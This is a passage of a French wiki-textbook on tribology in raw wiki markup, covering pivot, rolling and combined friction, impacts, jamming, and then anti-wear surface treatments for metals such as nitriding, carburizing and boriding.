pièces se fait sur une [[W:couronne circulaire|couronne circulaire]] de petit rayon r et de grand rayon R chargée de supporter l'effort axial Q. Si l'on suppose parfaite la congruence (du latin ''congruus'', qui s'accorde, qui convient) des deux surfaces de l'axe et du coussinet, la pression de contact est constante dans toute l'aire de contact. En admettant également que le facteur de frottement ait la même valeur f en tout point, il est facile de calculer le couple de pivotement : :<math>C_p=\frac{2}{3}Q\,f \frac{R^3-r^3}{R^2-r^2} = Q\,f\,R_e</math> Re est parfois appelé « rayon équivalent », tandis que le produit f.Re n'est autre que le facteur de frottement de pivotement. Si R et r sont voisins, compte tenu de l'imprécision inévitable sur la valeur du facteur de frottement de glissement, on peut remplacer sans trop d'états d'âme le rayon équivalent par le rayon moyen Rm : :<math>R\approx r \quad \rightarrow \quad C_p \approx Q\,f\frac{R+r}{2}= Q \,f\,R_m</math> == Frottement de roulement == {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Roulement.png|175px]] |- align=center | <small>'''Roulement'''</small> |} Une bille ou un rouleau qui roule sans glisser sur un plan horizontal, sans recevoir d'énergie extérieure, ralentit et finit par s'arrêter sous l'effet des frottements internes aux pièces. On peut maintenir la vitesse constante par application d'un couple <math>\overrightarrow{C}</math> parallèle à l'axe de la rotation. La zone d'appui, plus ou moins étendue, subit des pressions qui peuvent être relativement faibles (pneumatiques automobiles ...) ou très élevées (couramment 3000 à 3500 MPa dans les roulements à billes ou à rouleaux). Le corps roulant (supposé, sur ce schéma, moins déformable que le support) et la piste s'affaissent toujours plus ou moins lors de la mise en contact, puis reprennent leur forme initiale, du moins si les déformations sont restées élastiques. Dans le cas contraire, le corps roulant laisse une « ornière » dans la piste, comme fait une roue qui parcourt un sol meuble. Comme les matériaux réels ne sont jamais parfaitement élastiques, le retour à la forme initiale, même quand il est total, n'est pas instantané. Un « bourrelet » (b) se forme à l'avant du corps roulant, tandis qu'à l'arrière les surfaces se séparent un peu trop vite ; tout se passe comme si le corps roulant montait une pente sans fin. De ce fait, les forces de contact sont plus élevées à l'avant de la zone de contact qu'à l'arrière et leur résultante <math>\overrightarrow{-N}</math> n'est pas directement opposée à la charge normale <math>\overrightarrow{N}</math> mais décalée vers l'avant d'une certaine distance d telle que : <math>C=n\,d \quad ou \quad d=\frac{C}{N}</math> Les valeurs de <math>\,C</math> et <math>\,N</math> sont ici, bien évidemment, des normes. La distance d est le '''facteur de frottement de roulement''', ou encore coefficient de frottement de roulement. {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |+ '''Attention !''' |- align=center | Le facteur de frottement de roulement est une '''longueur''',<br /> contrairement au facteur de frottement de glissement qui n'a aucune dimension |} {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Rouleaux.png|175px]] |- align=center | <small>'''Bloc sur rouleaux'''</small> |} Il est souvent intéressant de considérer le frottement de roulement d'une manière plus globale, combiné ou non à d'autres formes de frottement. Ainsi, lors de l'avancement d'un objet de poids <math>\overrightarrow{N}</math> monté sur des rouleaux, la poussée <math>\overrightarrow{T}</math> tient-elle compte globalement des frottements de roulement dans l'ensemble des zones de contact. Dans le cas d'un véhicule sur roues, la poussée intègre non seulement les frottements de roulement des bandages ou des pneus sur le sol, mais encore les frottements de roulement ou de glissement des essieux dans leurs paliers, les frottements de glissement dans les joints d'étanchéité, etc. Cela donne par exemple, par tonne de véhicule, des valeurs de <math>\,T</math> de l'ordre de : * 300 N pour une automobile, * 150 N pour un poids lourd (juqu'à 80), * 30 N pour un véhicule sur rail (jusqu'à 17 pour le TGV). Ces valeurs ne tiennent compte que du roulement et n'intègrent ni la pente éventuelle de la piste ni la résistance de l'air. Elles indiquent toutefois que sur un parcours horizontal et à vitesse modérée, de 80 à 100 km/h, à masse égale, '''le transport de marchandises par la route consomme de 5 à 10 fois plus d'énergie que le transport ferroviaire'''. == Frottements combinés == {| align=right style="margin: 1em 1em 1em 1em" |[[Image:contact.png|125px]] |- align=center | <small>'''Contact de deux objets'''</small> |} Dans de nombreux cas, les mouvements relatifs des solides sont combinés, et il en va de même pour les résistances passives. Considérons par exemple deux solides quelconques : A, fixe par convention, nous servira de repère et B, mobile, en contact avec A par une certaine surface S que nous considérons ici comme très petite et plane. En un point <math>M \in A</math> de cette surface nous pouvons exprimer les éléments de réduction du [[torseur cinématique]] représentant le '''mouvement de B par rapport à A''' : * un vecteur « rotation » <math>\vec{\Omega}</math>, qu'il vaut mieux appeler '''taux de rotation''', * la [[vitesse de glissement]] <math>\overrightarrow{V_g}</math>, qui est la vitesse du point <math>N\in B</math> coïncidant avec le point <math>\,M</math> à l'instant t. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Vitesses.png|150px]] |- align=center | <small>'''Vitesses'''</small> |} Il est toujours possible de « décomposer » de manière unique le vecteur taux de rotation en deux parties : * le '''taux de pivotement''' <math>\overrightarrow{\Omega_p}</math> dirigé selon la normale à la surface S, * le '''taux de roulement''' <math>\overrightarrow{\Omega_r}</math> perpendiculaire à cette normale et donc situé dans le plan de S, qui n'est autre que le plan tangent commun aux deux surfaces. Les '''efforts appliqués par A sur B''' doivent être reliés, autant que faire se peut, aux '''mouvements de B par rapport à A'''. Ils sont composés d'une force <math>\overrightarrow{R}</math>, résultante des forces appliquées sur la surface S, et d'un couple <math>\overrightarrow{C}</math>. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Resistances_passives.png|200px]] |- align=center | <small>'''Résistances passives'''</small> |} * la force <math>\overrightarrow{R}</math> comporte une partie normale <math>\overrightarrow{N}</math> transmise par l'appui (c'est sa fonction !) et une partie tangentielle <math>\overrightarrow{T}</math> qui s'oppose au mouvement, et que l'on appelle pour cela '''force de frottement''' : :- si les surfaces glissent, <math>\overrightarrow{T}</math> a le même support que la vitesse de glissement mais elle est de sens contraire. Dans ces conditions, <math>\frac{T}{N}=\tan{\alpha}=\tan{\phi}</math>. :- si les surfaces ne glissent pas, alors il n'y a pas de vecteur <math>\overrightarrow{V_g}</math>, la force <math>\overrightarrow{T}</math> reste bien entendu tangentielle mais on ne connaît pas a priori sa direction ; sa norme est telle que <math>\frac{T}{N}=\tan{\alpha} \le \tan{\phi_o}</math> * Le couple <math>\overrightarrow{C}</math> peut être conçu comme la somme de deux composantes : :- un couple de '''résistance au pivotement''' <math>\overrightarrow{C_p}</math> de même support que <math>\overrightarrow{\Omega_p}</math> mais de sens contraire, :- un couple de '''résistance au roulement''' <math>\overrightarrow{C_r}</math> de même support que <math>\overrightarrow{\Omega_r}</math> mais de sens contraire. L'absence de pivotement ne signifie pas que le couple de résistance au pivotement est nul. C'est peut-être ce couple, justement, qui empêche le mouvement correspondant. S'il existe, il est normal à la surface S et sa direction est donc connue, mais on ne connaît pas son sens. En l'absence de mouvement de roulement, le couple de résistance au roulement existe probablement, il est de toute manière tangentiel, donc dans le plan de S, mais on ne connaît pas sa direction. Le glissement, le pivotement et le roulement sont le plus souvent indépendants (mais pas toujours) et a priori rien ne relie les trois efforts fondamentaux qui tendent à s'opposer à ces mouvements. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Bille_gorge.png|150px]] |- align=center | <small>'''Contact bille-gorge'''</small> |} Pour prendre un exemple pratique, examinons le contact d'une bille qui peut se déplacer dans une piste cylindrique de même rayon. Si ces deux pièces étaient parfaitement réalisées et parfaitement rigides, leur contact se ferait selon un arc de cercle. En pratique, on ne peut pas plus réaliser deux surfaces géométriquement exactes que deux rayons parfaitement identiques. Même si ce bel ordonnancement pouvait exister, les déformations et l'usure auraient d'ailleurs tôt fait de le détruire. Comme on ne peut évidemment pas compter sur les miracles pour faire fonctionner les machines, il faut réaliser délibérément deux rayons légèrement différents. * Si le plus grand est celui de la bille, alors celle-ci porte sur les deux arêtes latérales de la piste, ce qui n'est pas génial ... * Si c'est celui de la piste, alors la portée se fait théoriquement en un seul point de la génératrice médiane mais pratiquement elle a lieu selon une surface très allongée semblable à une ellipse que l'on aurait incurvée pour qu'elle épouse la piste. Naturellement, plus la bille est chargée et plus la surface de contact est importante. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Ellipse.png|200px]] |- align=center | <small>'''Ellipse de contact'''</small> |} Si la bille pivote autour d'un axe normal au contact en son centre, seul le point central est immobile ; tous les autres points sont le siège d'un glisssement à une vitesse d'autant plus grande qu'ils sont plus éloignés de l'axe. Si la bille roule sur la piste, on conçoit immédiatement que cela ne peut pas se faire sans glissement Si la bille porte au centre, elle avance en un tour d'une longueur égale au périmètre du cercle central C. Si elle porte sur les arêtes latérales, elle avance en un tour du périmètre des cercles B. Si le contact se fait selon un arc, elle avance d'une longueur intermédiaire entre ces deux périmètres. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Mouvements_combines.png|150px]] |- align=center | <small>'''Mouvements combinés'''</small> |} Dans ce dernier cas, l'[[axe instantané de rotation]] <math>\,II'</math> de la bille se situe à un niveau intermédiaire entre le fond et les bords de la piste. En I et I' le vecteur taux de rotation <math>\overrightarrow{\Omega}</math> n'est pas perpendiculaire au contact, mais oblique ; on peut le considérer comme la somme de deux composantes, un taux de pivotement <math>\overrightarrow{\Omega_p}</math> et un taux de roulement <math>\overrightarrow{\Omega_r}</math>. * Les deux points I et I' de la bille sont immobiles à l'instant t, il s'y produit du pivotement et du roulement mais aucun glissement. * À l'intersection du plan de symétrie et de la surface de contact, sur le « petit diamètre » de la zone de contact, il y du roulement et du glissement mais pas de pivotement. * Partout ailleurs dans le contact, les trois mouvements de glissement, de pivotement et de roulement se produisent ensemble et leurs trois valeurs varient selon des lois différentes d'un point à un autre. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Ellipse2.png|200px]] |- align=center | <small>'''Ellipse de contact'''</small> |} A priori l'usure d'un tel contact et d'autant plus grande, en un point donné, que la pression et la vitesse de glissement sont plus élevées. * Si le rayon de la bille n'est que très légèrement inférieur à celui de la piste, l'"ellipse" de contact peut avoir une aire relativement importante et le système possède alors une capacité de charge élevée. En revanche les vitesses de glissement, et donc les pertes par frottement, peuvent prendre des valeurs prohibitives. * Si le rayon de la bille est nettement inférieur à celui de la piste, alors l'axe instantané de rotation se rapproche du « fond » de cette dernière, le pivotement et le glissement tendent à disparaître, le mouvement devient plus facile car la résistance au roulement est généralement plus faible que les deux autres. Par contre, la capacité de charge baisse par suite de l'inévitable diminution de l'aire de contact. * Dans des conditions données de charge et de vitesse, le constructeur doit trouver un compromis acceptable en tenant compte d'autres éléments comme les matériaux, la [[lubrification]] ... On aura compris que l'un des éléments essentiels de ce compromis se mesure en centièmes de mm, voire en micromètres, son maniement est assez subtil, il s'agit bien sûr de la différence des rayons. == Chocs avec frottement == Lorsque deux corps animés de vitesses différentes en grandeur et/ou en direction se rencontrent, il se produit un phénomène appelé '''choc''' ou '''percussion''' On considère généralement en mécanique qu'un chocs engendre des efforts très importants qui agissent pendant un temps très court, voire de façon quasi instantanée. Pendant ce laps de temps, les objets subissent des changements brusques de vitesse mais leurs positions ne varient pas notablement. Les premières études de chocs sans frottement sont dues à [[w:fr:Isaac Newton|Newton]]. [[W:fr:Siméon Denis Poisson|Poisson]], vers 1820, a traité divers cas particuliers, mais toujours sans frottement. Beaucoup d'autres auteurs ont travaillé sur ce thème, parmi lesquels Cournot, [[W:fr:Gaspard Coriolis|Coriolis]] (1835), Phillips (1849), Darboux (1874), Joukovsky (1878), Ostrogradsky, Soula et Villa (1923). Delassus et Pérès ont étudié des situations plus complexes, comme les chocs avec glissement suivi de roulement. La tendance actuelle est d'étudier les chocs à l'aide d'ordinateurs, par des méthodes numériques. La prise en compte du frottement se fait toujours, faute de mieux, en supposant que le facteur de frottement reste constant dans toute la zone de contact et pendant toute la durée, du choc, ce qui ne peut constituer au mieux qu'une approximation, mais rend finalement assez bien compte tout de même des phénomènes réels (à condition, évidemment, d'adopter une bonne valeur). Les bons joueurs de billard n'ont pas besoin de calculs complexes pour évaluer les divers effets du frottement lors du choc des boules ... == « Extinction du frottement » == P. Appell a fait remarquer, en 1905, que le mouvement d'un système qui subit le frottement s'effectue toujours de façon que le travail des forces de frottement diminue de plus en plus, comme si ce système cherchait à échapper au frottement. Une boule de billard à laquelle on donne de l'effet commence par glisser en roulant, mais très vite le glissement cesse et seul le roulement se poursuit jusqu'à l'arrêt complet. L. Lecornu, dans des mémoires adressés à l'Académie des Sciences en 1906 et 1907 et intulés « Sur l'extinction du frottement », indique que dans les systèmes frottants abandonnés à eux-mêmes, «le travail de frottement, rapporté à l'unité de temps, va constamment en diminuant et qu'à l'état final le travail du frottement est devenu minimal. » Notons que le travail rapporté à l'unité de temps n'est autre que la puissance. Lecornu a repris et développé cette idée en 1937. == Ambiguïtés et paradoxes, arc-boutement, broutage == P. Painlevé a montré que les lois du frottement sont souvent grossièrement approchées par rapport aux phénomènes réels et qu'elles peuvent conduire à des résultats ambigus ou paradoxaux. # Dans les cas les plus simples où l'on prend en compte le frottement, les composantes normales des forces aux appuis sont indépendantes du coefficient de frottement. Par exemple, si l'on fait glisser un objet sur un plan horizontal, la résultante des forces appliquées par le plan sur l'objet a toujours une composante verticale ascendante directement opposée au poids, donc constante, quelle que soit l'intensité du frottement entre cet objet et le plan. # Dans des cas plus généraux, il arrive au contraire que les composantes normales prennent des valeurs qui dépendent du coefficient de frottement. Dans ce cas, tant pour le frottement de glissement que pour la rupture d'un équilibre, des faits singuliers d'indétermination, de mouvements saccadés ou d'impossibilité peuvent se produire. === Indéterminations === Dans bien des cas le mouvement d'un objet soumis au frottement ou à l'adhérence est totalement imprévisible. Prenons par exemple une simple bande de plastique un peu épais, plions-la en deux et posons-la en forme de <math>\Lambda</math> (lambda majuscule) sur un plan. Très vite, le plastique se « relâche », la bande glisse, se stabilise, glisse à nouveau, se restabilise, et ainsi de suite ; des périodes de « repos » de plus en plus longues séparent des mouvements brusques. {| align=center |[[Image:Bande_de_plastique_pliée_01.jpg|120px|left]] |[[Image:Bande_de_plastique_pliée_02.jpg|120px|left]] |[[Image:Bande_de_plastique_pliée_03.jpg|120px|left]] |[[Image:Bande_de_plastique_pliée_04.jpg|120px|left]] |} Il est facile d'observer qu'au début d'un mouvement, le glissement n'est pas symétrique : l'un des « pieds » du <math>\Lambda</math> glisse avant l'autre, sans que l'on puisse prévoir lequel glissera en premier. Il est également presque impossible de prévoir à quel instant un mouvement aura lieu ; même si l'on pouvait facilement évaluer les contraintes qui règnent dans le plastique, cette question resterait pratiquement sans réponse. {{EnCours}} (mais vous pouvez compléter si vous le souhaitez ! === Paradoxes === === Mouvements de broutement === Ils ont été étudiés plus haut dans la partie consacrée aux « oscillations de relaxation ». Dans la mesure où ces mouvements produisent des bruits et des vibrations presque toujours indésirables, on tâche de les éviter en utilisant le frottement de roulement ou le frottement fluide, et de toute manière en faisant en sorte que les frottements aillent en croissant lorsque les vitesses augmentent, et jamais l'inverse. Ceci est particulièrement vrai pour les freins et les embrayages, à propos desquels on trouvera des données constructives dans le chapitre [[Tribologie - Applications pratiques]]. === Arc-boutement === Le phénomène d'arc-boutement se produit dans un système mécanique lorsque la configuration de celui-ci est telle que l’adhérence empêche tout mouvement et maintient donc l'équilibre, quelle que soit l’intensité des actions mécaniques extérieures. Un exemple classique et connu de tous est celui du tiroir de commode qui se met légèrement en biais et se « coince » lorsque l'on veut le refermer. Chacun sait que ce n'est pas en poussant plus fort que l'on peut atteindre le but recherché. L'expérience personnelle indique que le tiroir s'immobilise d'autant plus facilement que son guidage est plus moins profond que large, que le tiroir est chargé d'un seul côté, que l'on ne pousse pas dans l'axe, etc. De nombreux outils, mécanismes ou dispositifs, comme la clé du plombier ou le serre-joint du menuisier, utilisent l'arc-boutement pour assurer l'immobilisation de certains éléments. L'arc-boutement peut parfois survenir de façon brutale dans des mécanismes trop usés ou mal lubrifiés et il peut se révéler fort dangereux lorsque des éléments de forte inertie se trouvent soudain immobilisés. Les risques sont diminués en utilisant des guidages par roulement plutôt que des guidages par glissement et, par ailleurs, les mécaniciens expérimentés savent qu'il faut toujours substituer, lorsque c'est possible, les guidages en rotation aux guidages en translation ; autrement dit, il vaut toujours mieux utiliser des pivots plutôt que des glissières. Tribologie - Traitements anti-usure 979 43293 2006-05-26T22:49:24Z Jean-Jacques MILAN 114 /* Sulfurations en général */ protocole de traitement des pièces sulfurées [[Catégorie:Tribologie]] {{Tribologie}} == Traitements mécaniques == Ils s'appliquent aux métaux susceptibles d'être améliorés par [[w:écrouissage|écrouissage]]. Le but est d'augmenter la [[w:dureté|dureté]] et de créer des [[w:contraintes résiduelles|contraintes résiduelles]] de compression : === Grenaillage de précontrainte === Peu utilisé en frottement, le [[w:grenaillage de précontrainte|grenaillage de précontrainte]] élève la résistance à la [[w:fatigue des matériaux|fatigue]] de pièces de toutes sortes : [[ressort]]s, arbres ... === Moletage et galetage === Le [[w:moletage|moletage]] et le [[w:galetage|galetage]] améliorent le poli, l'exactitude des cotes, la dureté et la résistance (galetages dits de surface, dimensionnel, de renforcement). On peut atteindre 45 HRC et l'on traite ainsi les [[w:acier|acier]]s, surtout dans l'industrie automobile, les [[w:superalliage|superalliage]]s, les alliages de [[w:titane|titane]], ... Les surfaces galetées résistent davantage à la fatigue et portent mieux que les surfaces [[w:rectification|rectifiées]], se comportant comme si elles étaient déjà [[w:rodage|rodées]]. Elles s'usent parfois moins que les surfaces trempées. '''Il ne faut jamais galeter les aciers étirés à froid car ils sont déjà écrouis'''. === Polissage mécanique === On sait depuis les travaux de Beilby (1921) que le [[w:polissage mécanique|polissage mécanique]] provoque une fusion ou au moins un ramollissement des points hauts de la surface des pièces et que la matière de ces derniers vient combler les vallées. == Finitions électrochimiques == L'[[w:électropolissage|électropolissage]], ou [[w:polissage électrolytique|polissage électrolytique]], est le processus inverse de la [[w:galvanoplastie|galvanoplastie]] : il dissout les couches superficielles. Etudié en tant que technique en 1910 par Bentel et Shpital'Sku, il fut appliqué industriellement vers 1930 grâce aux travaux de Jacquet. Les pointes sont enlevées les premières, mais la [[w:rugosité|rugosité]] initiale n'est pas réduite à zéro car une fois les plus gros reliefs détruits, l'attaque est uniforme. L'enlèvement des couches externes révèle la structure du métal et les défauts éventuels, contrairement aux actions mécaniques qui créent un écrouissage plus ou moins fort. L'élimination des rayures élève la résistance à la fatigue mais, en même temps, l'absence de contraintes résiduelles de compression la diminue. Les surfaces sont remarquablement propres et ne présentent pas les inclusions provoquées par le polissage mécanique. == Traitements des métaux ferreux == === Traitements mécaniques === Rappelés pour mémoire, ils concernent surtout les aciers. === Traitements thermiques proprement dits === On ne doit jamais faire frotter une pièce d'acier qui n'a pas subi les [[w:traitement thermique|traitements thermiques]] [[w:normalisation|normalisés]] de trempe et revenu, éliminant au maximum les structures [[w:Austénitisation|austénitiques]] et [[w:ferrite|ferritiques]]. <br /> En France, l'industrie automobile traite à elle seule 200&nbsp;000 tonnes d'acier par an. En frottement, on utilise souvent la trempe superficielle et donc les aciers spécialement conçus pour elle. Le durcissement de surface par arc électrique est un procédé rare en France mais très commun en [[w:Russie|Russie]]. Parmi les techniques nouvelles, signalons les traitements localisés par faisceaux d'électrons et par [[w:laser|laser]]. Le durcissement par trempe laser est particulièrement prometteur car il supprime la déformation et l'usinage ultérieur des pièces. Le traitement '''Laser Peening''' proposé par la société MIC France peut être utilisé lorsque le grenaillage de précontrainte se révèle insuffisant. Il crée des contraintes résiduelles de compression atteignant au moins 60 % de la limite d'élasticité du matériau. La profondeur affectée est bien plus importante, jusqu'à 8 mm. Sur des pièces en titane, par exemple, il a permis d'obtenir une augmentation de charge admissible de 25 % contre 14 % pour le grenaillage de précontrainte. === Traitements thermochimiques de diffusion === Des atomes étrangers, formant des [[w:solution solide|solutions solides]] le plus souvent intersticielles, distordent les [[w:cristal|réseaux cristallins]] et augmentent la dureté superficielle en créant des contraintes résiduelles de compression, ce qui améliore la résistance à la [[w:corrosion|corrosion]] et à l'[[w:oxydation|oxydation]]. On distingue : * la diffusion de [[w:métalloïde|métalloïde]]s, [[w:carbone|carbone]], [[w:azote|azote]], [[w:soufre|soufre]], [[w:bore|bore]], par voie liquide (bains de sels) ou gazeuse et plus récemment, par [[w:bombardement ionique|bombardement ionique]]. Elle concerne 60&nbsp;000 tonnes de pignonnerie par an dans l'industrie automobile. Le carbone est à la base de presque tous les traitements de l'acier. * la diffusion de métaux, [[w:aluminium|aluminium]] et [[w:chrome|chrome]] notamment, améliore la résistance à l'oxydation à haute température. ==== Cémentation ==== La [[w:cémentation|cémentation]] est un cas particulier de la [[w:carbonitruration|carbonitruration]]. On carbonitrure en général des pièces peu massives en acier mi-dur sur une profondeur voisine de 0,3 mm, puis on trempe en huile chaude. La cémentation convient plutôt à des pièces massives en acier doux traitées vers 0,8 mm, puis trempées en huile froide. On peut cémenter sur une profondeur de plusieurs millimètres. Les atomes de carbone, dont le diamètre vaut 0,63 fois celui des atomes de fer, provoquent de grandes distorsions des réseaux cristallins et s'insèrent mieux dans les structures cubiques que dans les cubiques à face centrée. La diffusion de carbone doit toujours être suivie d'une trempe. Dans le cas de contacts ponctuels ou linéiques, la profondeur du traitement doit atteindre environ deux fois celle du cisaillement hertzien maximal. La résistance à cœur des pièces est optimale vers 850 - 1080 N/mm<sup>2</sup>. On dispose de programmes de calcul définissant les caractéristiques des couches cémentées en fonction de l'usage prévu. La cémentation n'est pas un traitement spécifique de l'usure adhésive, mais on peut la faire suivre d'une [[w:sulfuration|sulfuration]] à basse température. Il est toujours dommage de rectifier les pièces cémentées trempées à cause du relâchement des contraintes résiduelles de compression. La [[w:fragilisation par l'hydrogène|fragilisation]] des pièces cémentées par l'hydrogène peut être telle que des ruptures fragiles différées se produisent sous des contraintes anormalement basses. Une déshydrogénation aussi complète que possible est obtenue par un [[w:traitement thermique|revenu]] sous vide ou dans un gaz inerte. La cémentation sous vide présente des avantages importants de temps et de coût, tout en diminuant les distorsions des pièces par suite d'un maintien à température moins long. On note comme exemple d'application le traitement d'engrenages de [[w:réducteur de vitesse|réducteurs de vitesse]] d'hélicoptères. ==== Nitruration ==== La [[w:nitruration|nitruration]] fut découverte en 1923 par un technicien de la firme Krupp qui, ayant chauffé un acier dans une atmosphère d'[[w:ammoniac|ammoniac]], observa une dureté superficielle anormalement élevée. La nitruration nécessite des aciers contenant un peu d'aluminium, 1,2 % par exemple. L'azote s'intercale dans le [[w:fer|fer]] pour former une solution solide interstitielle et ouvre la voie à des atomes plus gros qui sans lui ne pénétreraient pas. Il se combine en partie avec le fer, mais seulement en surface, pour former du nitrure Fe<sub>4</sub>N. Un blocage des réseaux cristallins est provoqué par le nitrure d'aluminium stable AlN formé in situ. La nitruration a d'importants avantages : faibles déformations pendant le traitement, dureté élevée, bon frottement même sous [[w:lubrification|lubrification]] aléatoire, bonne résistance au revenu et à la corrosion, sauf sur les [[acier inoxydable|aciers inoxydables]]. C'est un traitement « complet » à cause de l'azote qui prévient le grippage et des contraintes résiduelles de compression qui sont créées. L'azote est le métalloïde le plus recommandable pour le frottement du fer sur le [[w:cuivre|cuivre]] ou le [[w:bronze|bronze]]. Les couches nitrurées sont excellentes pour les faibles pressions superficielles et il faut tout tenter pour les utiliser à l'état brut. Leurs propriétés dépendent peu du procédé utilisé mais beaucoup de la microstructure obtenue. Les inconvénients sont le temps de traitement qui peut atteindre 70 h, une faible profondeur durcie donc une faible usure tolérable, peu de [[w:résilience|résilience]], de faibles contraintes et déformations admissibles en service ainsi qu'un léger gonflement des pièces. Les procédés en phase gazeuse ALNAT N et ALNAT NO d'Air Liquide utilisent l'ammoniac et le [[w:protoxyde d'azote|protoxyde d'azote]]. Les surfaces sont un peu plus ductiles et moins sujettes à l'écaillage que par la nitruration gazeuse classique. Leur propriétés de frottement sont analogues à celles obtenues en nitruration ionique. ==== Nitruration ionique ==== Les Allemands l'ont inventée en 1930 et appliquée en secret aux tubes des canons à longue portée. Ils ont poursuivi les études après la guerre à cause de la pauvreté de leur pays en éléments d'alliage. L'Europe est très en avance en matière de nitruration ionique, de l'aveu même des Américains. Ce procédé utilise le [[w:plasma d'arc|plasma]] d'un [[w:arc électrique|arc électrique]] à basse tension et haute intensité à la pression atmosphérique, arc dans lequel l'azote présent est ionisé. Les ions accélérés percutent la pièce et s'y implantent, le nitrure de fer FeN est absorbé à sa surface et transformé en nitrures d'ordre inférieur. Le four de traitement ressemble à un gros [[w:tube à décharge|tube à décharge]] où la [[w:cathode|cathode]] supporte les pièces à traiter, l'[[w:anode|anode]] étant constituée par les parois. On peut durcir une pièce dont l'usinage est entièrement terminé. Aucun autre traitement thermochimique ne conserve aussi bien la géométrie et l'état de surface. Il est préconisé sur des aciers de résistance 900 à 1100 N/mm<sup>2</sup>, d'où la nécessité d'un prétraitement pour obtenir les caractéristiques voulues à cœur. La profondeur courante est 0,3 mm et le gonflement de l'ordre de 5 microns. Les applications sont nombreuses : * en construction automobile : soupapes, poussoirs, engrenages, chemises de cylindres, tiges de pompes, arbres à cames, injecteurs, transmissions, * en armement : blocs de culasses, tubes de canons et canons de fusils, pièces de missiles, rails de lancement, * en outillage : matrices d'estampage, vis, cylindres et moules pour plastiques, lames de rasoir, bistouris, forets, tarauds, alésoirs, guides, rouleaux ... ==== Carbonitruration ==== L'introduction simultanée d'azote et de carbone suivie d'un durcissement par trempe améliore la résistance à la fatigue par flexion-torsion, à la fatigue superficielle sous charge modérée et à l'usure abrasive. La profondeur, fonction de l'usure admissible, doit être au moins deux fois celle du cisaillement maximal. Ce traitement n'est pas spécifique de l'usure adhésive. ==== Boruration ==== Le traitement de [[w:boruration|boruration]] est réalisé entre 800 et 1050 °C, le bore diffusé sur 20 à 400 microns se combine pour donner du borure de fer. On obtient une très grande résistance à l'usure par [[w:abrasion|abrasion]] et une bonne résistance à la [[w:corrosion|corrosion]]. Les applications sont variées : guidefils, hélices, vis transporteuses, poinçons, matrices, pompes pour matières abrasives, guides, glissières, galets, outillage de moulage d'alliages légers ou de zinc ... Un procédé moderne s'appelle Borudif. En Russie on pratique beaucoup la boruration à composants multiples, en plus du bore on fait diffuser d'autres éléments : - le [[w:silicium|silicium]] améliore la résistance à l'abrasion en milieu aqueux, - l'[[w:aluminium|aluminium]] protège la couche de borure de l'oxydation, - le [[w:vanadium|vanadium]] réduit l'abrasion, - le [[w:cuivre|cuivre]] réduit la fragilité de la couche de borures, - le [[w:chrome|chrome]] augmente la résistance à l'usure et à la corrosion, - le [[w:titane|titane]], en présence de chrome, augmente la [[w:durée de vie|durée de vie]] des pièces. ==== Chromisation ==== Le procédé de [[w:chromisation|chromisation]], industrialisé aux États-Unis dès 1919 est une cémentation au chrome donnant une couche superficielle extrêmement dure et un excellent [[w:coefficient de frottement|coefficient de frottement]]. Après 90 minutes à 1075 °C dans des vapeurs de [[w:fluorure de chrome|fluorure de chrome]], la couche de diffusion atteint 0,1 mm. Le procédé français Dikrom utilise l'[[w:iodure de chrome|iodure de chrome]]. L'acier chromisé porte un véritable revêtement de carbures de chrome extrêmement durs provoqué par la rétrodiffusion du carbone de l'acier vers la couche chromisée. Les applications sont nombreuses : le traitement des outils à bois leur donne à bon compte la résistance à l'usure des outils au carbure. Un exemple d'usage à température élevée concerne les [[w:filière|filière]]s d'[[w:extrusion|extrusion]] du cuivre où la pression atteint 15&nbsp;000 bars, la température 780 °C, le temps d'extrusion 100 s. La filière qui était changée à chaque extrusion en réalise 500 ! ==== Stanal ==== Ce traitement contre l'usure, le [[w:grippage|grippage]] et la corrosion est une diffusion de divers métaux, principalement d'[[w:étain|étain]]. Après dépôt électrolytique d'un alliage polymétallique, la diffusion et la liaison entre la couche et le support sont assurées par chauffage à 600 °C. Le [[w:Stanal|Stanal]], qui concerne la majorité des alliages ferreux et des fontes, est difficile en présence de [[w:nickel|nickel]], de [[w:chrome|chrome]] ou de plus de 2 % de carbone. La facilité de lubrification sous très forte charge, la sécurité sous lubrification aléatoire, multiplient plusieurs dizaines de fois la durée de vie de pièces frottant dans l'eau douce ou salée sans huile ni graisse. La [[w:résilience|résilience]] est accrue et le frottement de certains aciers inoxydables devient possible. ==== Forez ==== Le respect de la '''règle des trois couches''' est idéal : on crée une couche superficielle très mince à base d'étain, une couche de diffusion dure et ductile forme des phases dures de l'alliage binaire cuivre-étain, capable d'accomoder et de régénérer par frottement le manteau protecteur d'étain, et une zone de transition réalise l'accrochage des couches superficielles. Le gonflement est de 25 à 30 microns, les pièces doivent être finies avant traitement. Le forez multiplie la charge de rupture des films d'huile, augmente la résilience ainsi que la résistance à la fatigue et à la corrosion. Il permet par exemple de remplacer le bronze des roues de réducteurs à roue et [[w:vis sans fin|vis sans fin]] par de l'acier. ==== Manganisation ==== Une diffusion de manganèse forme en surface une structure d'[[w:acier Hadfield|acier Hadfield]] qui durcit très fortement par écrouissage. On peut si nécessaire produire simultanément une sous-couche carburée. Parmi les applications, citons : frottement dans l'eau, cames, engrenages, pistes de roulement ... ==== Chromaz ==== Combinaison d'une nitruration et d'un revêtement de chrome. L'association des deux techniques n'est pas évidente : les sociétés sont rarement spécialistes de l'un et de l'autre, par ailleurs il est très difficile de préparer une surface nitrurée pour la chromer correctement. Le nouveau traitement est actuellement appliqué pour des outillages de forge. ==== Traitements de diffusion divers ==== Les aciers inoxydables peuvent être durcis par l'étain déposé par immersion et diffusé pendant 48 h : le composé défini FeSn dissout le nickel et le chrome et forme une couche continue de dureté élevée. === Traitements de conversion === ==== Tenifer ==== Trois heures à 560-565 °C dans un bain de [[w:cyanure|cyanure]]s et de [[w:cyanate|cyanate]]s alcalins, avec soufflage in situ d'oxygène, donnent sur les aciers au carbone une couche superficielle de 10 à 15 microns (épaisseur à ne pas dépasser) de [[w:cémentite|cémentite]] Fe<sub>3</sub>C et de nitrure de fer FeN, très dure mais adhérente et peu fragile, et une sous-couche de plusieurs dixièmes de mm contenant du nitrure de fer et de l'azote. Le [[w:Tenifer|Tenifer]] diminue la sensibilité de l'épiderme 